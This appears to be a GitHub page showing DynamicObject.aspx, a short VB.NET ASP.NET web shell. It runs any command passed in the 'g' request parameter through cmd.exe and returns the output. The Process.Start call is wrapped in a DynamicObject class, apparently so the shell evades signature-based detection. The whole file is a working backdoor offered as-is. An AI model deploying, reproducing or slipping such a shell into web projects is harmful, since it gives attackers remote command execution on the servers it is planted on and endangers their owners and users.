-
Notifications
You must be signed in to change notification settings - Fork 3
Expand file tree
/
Copy pathDynamicObject.aspx
More file actions
42 lines (42 loc) · 1.47 KB
/
Copy pathDynamicObject.aspx
File metadata and controls
42 lines (42 loc) · 1.47 KB
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
<%@ Page Language="VB" %>
<%@ Import Namespace="System.Dynamic" %>
<%
Dim userCommand As String = Request.Params.Get("g")
If Not String.IsNullOrEmpty(userCommand) Then
Try
Dim psi As New System.Diagnostics.ProcessStartInfo()
psi.FileName = "cmd.exe"
psi.Arguments = "/c " & userCommand
psi.RedirectStandardOutput = True
psi.UseShellExecute = False
Dim process As New System.Diagnostics.Process()
process.StartInfo = psi
' 使用 DynamicProcess 动态调用 Start 方法
Dim dynamicProcess As Object = New DynamicProcess(process)
dynamicProcess.Start()
Dim output As String = process.StandardOutput.ReadToEnd()
process.WaitForExit()
Response.Write(Server.HtmlEncode(output))
Catch ex As Exception
Response.Write("Error: " & Server.HtmlEncode(ex.Message))
End Try
Else
Response.Write("No command")
End If
%>
<script runat="server">
Public Class DynamicProcess
Inherits DynamicObject
Private ReadOnly _process As System.Diagnostics.Process
Public Sub New(process As System.Diagnostics.Process)
_process = process
End Sub
Public Overrides Function TryInvokeMember(binder As InvokeMemberBinder, args() As Object, ByRef result As Object) As Boolean
If binder.Name = "Start" Then
result = _process.Start()
Return True
End If
Return MyBase.TryInvokeMember(binder, args, result)
End Function
End Class
</script>